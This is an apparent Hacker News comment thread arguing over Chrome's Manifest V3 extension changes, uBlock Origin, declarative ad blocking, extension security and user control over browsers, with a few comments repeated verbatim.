> Then they had to make up some reasons to justify that
Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.
It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should be literally built into the browser instead of being a mere extension. Only the conflicts of interest inherent in an ad company maintaining an ad blocker prevent that.
Why should there not be a middle ground between “can do absolutely everything with all my data” and “is basically a glorified bookmark button” based on the level of trust I have for an extension?
Because security is the pretext, not the goal here. I'm sure browsers could have better security controls for extensions, but giving users extra control over software doesn't seem to be very popular among corpos nowadays.
The purpose of browser extensions is to build up an install base then sell out to some corporation that then promptly leverages that user base to exfiltrate data and monetize it.
No thanks. They should have to declare to the browser what it is they want done instead.
This point would be far more credible if browsers weren't in business to do what you claimed extensions are there to do.
I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.
Right, basically no web browser has a profitable business model except through licensing or being subsidized through some other branch of the business.
The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.
I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
Thanks, that's good info. I found this thread from an ex Opera employee and to your point, they could have kept on with Presto, but didn't [1]. What remains true is that bad management chased profits and found a better path to more revenue by caving to webkit and Chromium. So it wasn't strictly unsustainable so much as outcompeted by better economics that came from abandoning Presto. I consider the soul of Opera to be gone at this point and the amount of personal integrity and vision it takes to swim against the current of short term revenue is another manifestation of unfavourable browser economics for sustaining an independent engine.
And extensions do exactly that in Firefox. When installing (or updating) extensions you're notified of any and all permissions the extension is requesting from the browser and you're given the choice to proceed with the installation or not. Google goes a step further and just straight up denies user choice entirely.
There are at least two uses of "declare": one the colloquial english usage that has been around for at least hundreds of years, which roughly means "announce" or "state". The other use of declare is the much more specific programming language version which you're referring to.
Here's what the comment you're responding to said:
> They should have to declare to the browser what it is they want done instead.
Arguably it's pretty clear they meant declare in the first sense.
I'm the one who wrote the sentence you are quoting, and I most definitely meant it in the sense of "declarative language, where you say what you want and the runtime figures out how to do it internally".
"Declare" means the extension tells the browser what they want to filter and then the browser does it internally without ever allowing the extension to read and write private information.
The argument has nothing at all to do with declaring permissions in a manifest.
Yes, but if you write your own extension maybe you want to read and modify the data. For example, patch fingerprinting script so that it gets the wrong result.
Furthermore, malicious extension can read the data from the DOM, from forms (for example, password or credit card fields), and in some cases, from JS variables. They can insert fake information into the page. So preventing extensions from reading network data still leaves a lot of options for a malicious extension.
So you're saying that because Google didn't completely up-end the security model and break almost every extension in the one-go, we should have no-progress towards a more secure extension model?
uBlock Origin via declarative blocks is almost as powerful as the original. While I would trust gorhill with almost unfettered control over my browser, I don't trust EVERY extension owner (no do I trust uBlock Origin in perpetuity).
>So you're saying that because Google didn't completely up-end the security model and break almost every extension in the one-go, we should have no-progress towards a more secure extension model?
A funny argument to make because the thing that would make such a measure ridiculous as you rightly point out, is exactly what already makes the Manifest changes ridiculous in the first instance. They were making a rhetorical point and you elaborated on their point for them as if doing so expressed a disagreement.
I think a big step forward, towards a better security model, was overall a good thing, even if it meant that a good extension no longer had unfettered access to everything your browser saw. I don't think this change is ridiculous at all. And I don't want them to stop here either! v4 should close more of the avenues that malicious extensions are abusing! Extensions should declare everything up-front, so it's easy see if abuse is occuring.
How do you secure against the system vendor (in this case the browser) limiting what the consumer/user can or can't do (alone or with the help of third parties) with the product after acquiring it though? After all security for individuals against commercial and otherwise organized interests is one of the, if not the most important security after life and health. Even if one values the market overall for financial reasons, there is a solid argument that preventing modifications (and thus also repairs) is anti-competitive. It would be damaging to society if manifestV4 is realized restricting what can run further, much like printers and operating systems where the users ability to run software they bring themselves is limited has been. Just as no one should have to go to a mechanic with a special deal with the manufacturer to get their car or tractor to work as desired, neither should users of software.
>How do you secure against the system vendor (in this case the browser) limiting what the consumer/user can or can't do (alone or with the help of third parties) with the product after acquiring it though?
If you don't like what a browser is doing, then move to another one? You're acting like you have spent a tonne of money on buying Chrome. Even if that was the case, it's not a clear case of an anti-user behaviour. There is a good reason to deprecate the webRequest API, and we'll see more browsers move towards that in the future (Safari has had declarative blocking for many years now, I believe).
>preventing modifications (and thus also repairs) is anti-competitive
There is nothing stopping someone from forking a manifest v2 version and maintaining it. I'd argue this can't be compared to any company actually doing anti-competitive things (e.g. tractor company, printers, ice cream machine companies, etc.)
Well chrome is obvious. Firefox always triggers the same complaints about Mozilla foundation. They’re valid, but the dog pile is always very striking. At the end of the day Firefox is a great browser and has enabled a bunch of great forks all outside of the chromium ecosystem. We can be critical and should be, but again, it’s very intense sometimes. Google is clearly worse.
They doing both cleanup of Google's mess and adding their own mess. They are being criticized for the latter. Add to that that Mozilla, unlike Google, pretends to be a cleaning company when they want you to let them into your home.
Mozilla has frequently made questionable choices with its ad tie-ins and promotions. Mr. Robot ads, anyone? Unlike Chrome, Mozilla has also embedded full on data-collection schemes (Cliqz which tracked typing and browsing to test monetisation strategies).
We should have the option to limit an extension to certain tabs or websites or at least windows, and extension authors should also have the option to specify that.
An adblocker, by its nature, needs to access *. But Return YouTube Dislike could statically specify that it will only run on youtube.com, and that's fine.
But the option to enable access to * is essential.
Well that's what is in contention. Does everything claiming to be an adblocker really need access to *? Is Adblocker5++ (totally not malware) entitled to as much access as uBlock Origin? You can declare upfront all the URLs you don't want accessed (which on top of security gives a substantial performance boost), and who's to say someone won't figure out a better way of working within these constraints?
Removing capabilities is not progress towards better security. Putting them behind opt-in permissions, making permissions more granular, more robust... those are security upgrades. Removing capabilities is a feature downgrade.
Security upgrades are never opt-in, and for good reason. The status quo would remain in-secure. Every encryption suite upgrade, SSL software version, DNS versions, etc. maintained backwards compatibility for a window then closed it... just like we have seen here with manifest v2 -> v3.
"Please stop looking at all network requests, especially when you don't need to."
doesn't result in action... while:
"You can no longer look at all network requests" requires extension makers to update to the new paradigm.
New versions of encryption suites don't remove core functionality. This is like TLS removing SNI because it leaks information. It does, but the solution is ESNI, not removing SNI all together.
It's not "please stop looking at network requests", it's "ask the user for informed consent to look at network requests". Make it a big scary red warning if you want to. Definitely don't auto-grant it to existing extensions.
There are many options that don't involve removing functionality. It's like when Google removed SMS and clipboard permissions because they used to be too broad. People were pissed, a bunch of apps were killed, Google's walled garden got reinforced...
You're being naieve if you don't think SNI will be fully deprecated in the future when a standard is settled on and reaches wide-adoption.
Scare prompt fatigue is real. If you're constantly blasting users with "XXX wants to do Y" which sounds scary, you're training them to just accept without thinking.
>Hate to be the one to defend Google here, but the reasons weren't that unreasonable.
Sounds like some kind of Stockholm syndrome. Years ago, it was standard practice for software to be designed so that users could grant permissions to access invasive methods or functions.
Google relies on users' personal data (ads), which is why they introduced a unique ID to their Chrome browser (to track).
When was that standard practice? Cause years ago (like 2000) I remember even trivial and simple software (WeatherBug) being able to read/write all over the computer (Windows). And some crap I just installed on Win11 can see all over the box, just slightly less.
> I want my browser to prevent random extensions from directly reading web page data
This is so funny to me. Coming from a Netscape Navigator world, when extensions first came out, they were supposed to allow the user to add functionality to websites.
Why would someone install "random extensions" that they dont trust. And also, what would extensions do if not read and write data to websites? .
Extensions are set to auto update by default, and it's not obvious at first how to disable that. It's also disallowed to install an extension you've built from source on most release builds, without messing with a hex editor. So essentially, any extension you install is liable to be come a "random" extension, if for example, the author sells out, or something like the attacks on NPM were to happen.
And sometimes the unscrupulous third party decides to build a browser and take over the market via forcing hardware vendors to bundle it with their OS. Like Google.
so, it should not be updated automatically.
so, you should not trust something that install updates (literally - install another software) without your agreement
Back in the mid 90s when the web started to be all the rage, I remember reading a comment I thought hilarious and kind of right. Paraphrasing a lot it went like this:
"Somehow, when people get into the internet, their IQ decreases like 50 points. Like, if a guy knocked on your house door and offered you to give you a million dollars if you just gave him a thousand now, you would tell him to F. off. But somehow on the internet people thing it's right"
Same with these apps, someone comes and tells you to let him install this great water appliance for your backyard. You let him come in. But somehow in the internet, you also give him the key so that he can come in again anytime he wants... he may sell the key, lose the key, do something malicious later,etc. But due to ignorance, people dont grasp what they are doing in the digital world. People lack the necessary mental models.
I want my browser to prevent random extensions from directly reading web page data
I also want my browser to prevent random third-party javascript from doing the same. And I care more about that one, because as a user I don't have control over said third-party javascript while I do have control over the extensions I'm using. The browser is supposed to be a user agent, not act as an extension of the website owner.
If you've run a site with CORS reporting enabled, you'd see that a significant fraction of your userbase have malware extensions running (prior to manifest v3). I was absolutely shocked when I looked at the logs a decade ago, and I bet the problem is far worse these days with the proliferation of malware buyouts of legit extensions.
Google has no shortage of options for serving up ads that can't be blocked by normal ad blockers across all their properties (youtube, search, etc.). They in-line the ads these days! And if they really cared about the fraction of a fraction of a percent of people that even install any kind of adblocker, they could make the served ad content un-blockable by serving it the exact same as the content.
Of course it's tempting to reply "don't install random extensions". But a bigger point here is that browsers have grown so massively complex that it's almost impossible to build one, so we don't have an ecosystem where you can choose your browser for safety and I can choose mine for freedom. Of course, Google has had a big incentive and hand in making it this way.
> I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.
Agreed. And you would think most paranoid HN types would too.
> It's just that uBlock Origin is so insanely useful, important and trusted
Maybe I'm foggy on the history. But isn't this like Fork #4 or #5 of some previous AdBlock extension?
Seems like the only business model for this type of extension is "selling out" for certain ads. And then the cycle repeats and forum posters tell you to install qBlock Omega or whatever. Maybe Mozilla doesn't want to get in the middle of this?
> Maybe I'm foggy on the history. But isn't this like Fork #4 or #5 of some previous AdBlock extension?
IIRC it was written from scratch. It was called uBlock before, then a co-maintainer tried to pull some shit, and the original author had to fork it with a new name (I don’t remember the details, it’s been ages since then).
No selling out yet. The author also explicitly says they don’t accept donations. I don’t think he’s looking for a business model. But if that changes – yeah, the fork button is right there, so I don’t see a big problem here.
> Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.
Don't kid yourself, even with mv3 if you install a rogue extension it's going to have access to a lot more data than you would be comfortable sharing to.
You can't trust a code that you didn't audit before. End of story.
What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.
If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?
this is not a solution.
Running an untrusted software will always be a security drawback.
Permissions/sandbox/etc can decrease risk, but not eliminate it
Requesting site access by click or by URL really isn't rocket science.
Not nearly every user will get it right, so extensions will probably still have to be monitored for malware for the foreseeable future, but it gives many users at least a chance at privilege minimization.
You can't trust a code that you didn't audit before. End of story.
What you are asking for is simply impossible, even without any permissions rogue extensions can still do a lot. It's what some developers spend their entire time working on.
If Google couldn't fix it with Android, which has granular permission per applications, why do you think it's going to be even remotely effective on the web browser ?
> I want my browser to prevent random extensions from directly reading web page data.
I don't want that! I want to be able to install any extension whatsoever (as we still can, more or less, install programs). And if I'm clueless enough to install "random" extensions that'll harm me, then shame on me! How often has it happened for the whole existence of Manifest V2 anyway?
Maybe we could have tolerated a well-hidden, well-protected "advanced" flag to open that possibility. But removing Manifest V2 altogether is unforgivable.
Also, security is a very very very weak argument, as many ads are much more dangerous and toxic than any popular extension will ever be.
The Google Toolbar for Internet Explorer let users search Google directly from any webpage, block pop-up ads, autofill web forms, and highlight search terms. It also displayed PageRank metrics, translated foreign languages, checked spelling, and managed web bookmarks.
"Random" is a funny thing to call an extension that you have deliberately installed.
I also don't want "random" programs accessing my home folder. That would be terrible! Who knows what programs that could be! I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily. Same for extensions.
The goal here isn't really to protect me from extensions. Extensions don't do anything on their own, they just sit there and wait for me to install them. So the goal is apparently to protect me from me (installing an extension), which really is to say protect their business (ads) from me (blocking them).
"Random" is what I call pretty much every extension that is not uBlock Origin. I absolutely want them limited to the fullest extent. Maybe if they were, I would actually install some of them.
> I do however want the very specific programs that I have intentionally installed to be able to access my home folder easily.
I don't. My standard operating practice is to virtualize them.
My security posture is considerably more lax towards free and open source software, for obvious reasons, and even then this trust only extends to the software in my Linux distribution's repositories. Stuff coming from PyPI, npm, cargo, ruby gems, and other such "developer centric" repositories get the full virtualization treatment. If it's easy for randoms to publish packages, then it's equally easy for malware to make it in.
You should make a browser for you, like a QubesOS browser. Do you use QubesOS? If not, you should.
But you can't lock down everyone else's general-purpose computers just because you are more careful than the average. You're supporting the big corporations in the war against general-purpose computing here.
QEMU virtual machines. Sandboxes like firejail and bubblewrap share a kernel: attacker is one exploit away from root. Hypervisors present an infinitely smaller attack surface, and if they're ever defeated the entire industry is done, not just me.
I have a base system image that gets forked off into delta qcow2 images for every project I'm working on or whatever ephemeral execution context I need.
I started a side project to build software just to manage those VMs. I'm daily driving this thing even though it's my first "vibecoded" project, it's just way too useful and has saved me quite a few times from accidents.
The firewall works but it's pretty clunky. I'm working on a custom Rust network stack to replace it.
You'd probably prefer something that isn't literally made by one guy and his AIs though. Docker sandboxes seem to be a good solution that also employs virtualization.
> I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.
I was under the impression that manifest v3 still allowed extensions to read anything, just not modify. Is that not the case? (Random link because this is hard to search for: https://news.ycombinator.com/item?id=38303446 )
Yeah, if that's true then there's little point to Manifest V3... That completely invalidates the argument that it increases security by denying private page access. Maybe I misunderstood Manifest V3.
> Do you believe the same should be true of your operating system?
Yes, and I have actually started virtualizing everything inside my computer because of that belief. I don't want random software touching my trusted host.
"Random software" is currently defined as anything outside the official repositories of my Linux distribution of choice. I don't want to share a home directory with such things. I don't want to share a user and its permissions, I don't even want to share a kernel with them.
There's a difference between you virtualizing programs and your OS vendor virtualizing programs for you without giving you an opt-out. Cough snaps cough.
They don't specifically block uBlock Origin though. I have no doubt they intended it to, and that's literally my only objection to Manifest V3: it's good but it hurts uBlock Origin therefore I don't accept it.
The right thing is to simply bypass all of that. The fact is uBlock Origin should be literallly built into the browser like the good old popup blockers once were.
If only we had a browser that was independent of ad money.
This sounds like another one in those class of arguments that are essentially "We can't let users accidentally harm themselves on the devices they own." While I appreciate ergonomics and sensible defaults, ultimately I don't need you, Google or anyone else telling me I can't do something with my device because it's too dangerous to me. I mean I have a huge F U for anyone who tells me that quite frankly, just as I would if they said it about my car or my kitchen knife. I cleared the age of consent decades ago, I will use what I bought and I will accept responsibility for all of the outcomes. These little poindexter dictator nerds of IT who think they get to control everything about what I own can F right off. I applaud and will participate in any class action lawsuit against them and hope for the maximum penalties to be inflicted upon them.
> I want my browser to prevent random extensions from directly reading web page data.
Fine, then don't install them?
It's like saying you want your TV to stop random people from watching it, but the obvious solution to that problem is to not invite random people into your living room.
... the greatest danger to
us is masterless men; lacking a coercive power to tie their hands, they would
destroy society. How else but by binding to lord and master can they be held to the laws? So thought men during feudal times.
In fact, it is possible for people to be held to good conduct without being bound into a single hierarchy, and it should be possible for software to be held to good conduct without giving such power to single monopolists. But it's not in Google's interests to build such mechanisms, any more than it was in the interests of the feudal overlords to look for alternatives to their rule.
I'm supposed to be the master, actually. It's my computer, any foreign code is essentially a subject in my digital domain. It should be literally impossible for them to do something I don't want them to do. As the god of my little digital realm, I should have maximum power and freedom, while foreign developers get the absolute minimum amount of power that works, and in the ideal case this minimum is zero.
The fact someone gave developers a turing complete language inside the browser where random code is automatically downloaded and executed is a major reason why we even have uBlock Origin in the first place. The vast majority of developers heavily abuse this privilege and cannot be trusted, and that is why we block them with extreme prejudice.
I agree that we should able to be fully in control of what we run on our machines, but that should also include being able to decide who we trust to mark , or gatekeep, code as trustworthy. Both having to run code from any random website, and having to trust exactly one mega company, means you are not the master.
This is the way. The owner of the computer should be the ultimate authority over what gets run and not run on that computer. Not Microsoft. Not Apple. Not Google. Not Mozilla. Not some web site developer.
I think nobody is against the availability of sandboxing tools for browser extensions - they just want them to be options and not requirements or defaults.
I've tried everything from relying on uBlock Origin's anti-sabotage injections to literally reverse engineering websites and directly using all the internal APIs their own javascripts consume.
My dream was to have a "custom HTTP client" for every website. Instead of one browser for all sites, I write "adapters" for them that scrape the data into my own schemas. Maintaining this was far too much work back then, but now that I've got AI... I think I might try it.
(an example I just added (copied) today)? I've had a lot of trouble figuring out how to make these properly.
>reverse engineering websites and directly using all the internal APIs their own javascripts consume.
Interesting. By userscript or some other way? I've run into a number of situations where I either can't find a pointer to the internal js, or if I do find one, the browser or something ends up preventing me from accessing or modifying internal state with some sort of permission error. The latter might just be React though.
I'd be very interested in looking, if you have open sourced any of this.
Your browser does prevent random extensions from reading web page data - it prevents all of the ones you don't install!
More seriously: if you don't want X to do Y, the solution is to not give X the permission Y. The platform overlord removing the premission Y completely is a terrible solution.
The amount of replies this has gotten regarding the use of “random” is a fine example of the state of discussion on the internet and in general, and how HN is in no way immune.
Clearly “random” was used as a means of saying “any”, to describe extensions the author hasn’t thought of. That will be obvious to anyone arguing in good faith and steel manning the argument.
Hate to be the one to defend Google here, but the reasons weren't that unreasonable. I want my browser to prevent random extensions from directly reading web page data. The declarative API idea is pretty good.
It's just that uBlock Origin is so insanely useful, important and trusted, it should get full access to the entire browser regardless. Honestly, it should be literally built into the browser instead of being a mere extension. Only the conflicts of interest inherent in an ad company maintaining an ad blocker prevent that.